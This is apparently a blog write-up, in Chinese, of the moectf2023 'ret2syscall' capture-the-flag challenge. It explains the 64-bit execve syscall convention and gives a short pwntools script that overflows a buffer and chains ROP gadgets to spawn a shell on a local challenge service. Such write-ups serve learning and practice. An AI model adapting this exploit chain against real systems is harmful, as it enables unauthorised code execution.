moectf2023 - ret2syscall

RocketDev

文件分析

下载ret2syscall, NX on, PIE off, Canary off, RELRO partial
ghidra分析为64位程序

解题思路

摆明了随便打

EXPLOIT

首先要知道64位syscall和32位syscall有什么差别: (32位见ctf-wiki )
64位syscall使用rax作为指令寄存器,这里我们使用execve
然后execve的三个参数分别放在rdi, rsi, rdx三个寄存器中
放好后执行syscall指令即可

1
2
3
4
5
6
7
8
9
10
from pwn import *
sh = remote('localhost', 33359)
popRax = 0x40117e
callObj = 59 # execve
popRsiRdx = 0x401182
popRdi = 0x401180
shstr = 0x404040
syscall = 0x401185
sh.sendline(b'0'*0x48 + p64(popRax) + p64(callObj) + p64(popRsiRdx) + p64(0) + p64(0) + p64(popRdi) + p64(shstr) + p64(syscall))
sh.interactive()

Done.

  • 标题: moectf2023 - ret2syscall
  • 作者: RocketDev
  • 创建于 : 2023-09-26 12:00:00
  • 更新于 : 2024-07-25 12:34:56
  • 链接: https://rocketmadev.github.io/2023/09/26/ret2syscall/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
目录
moectf2023 - ret2syscall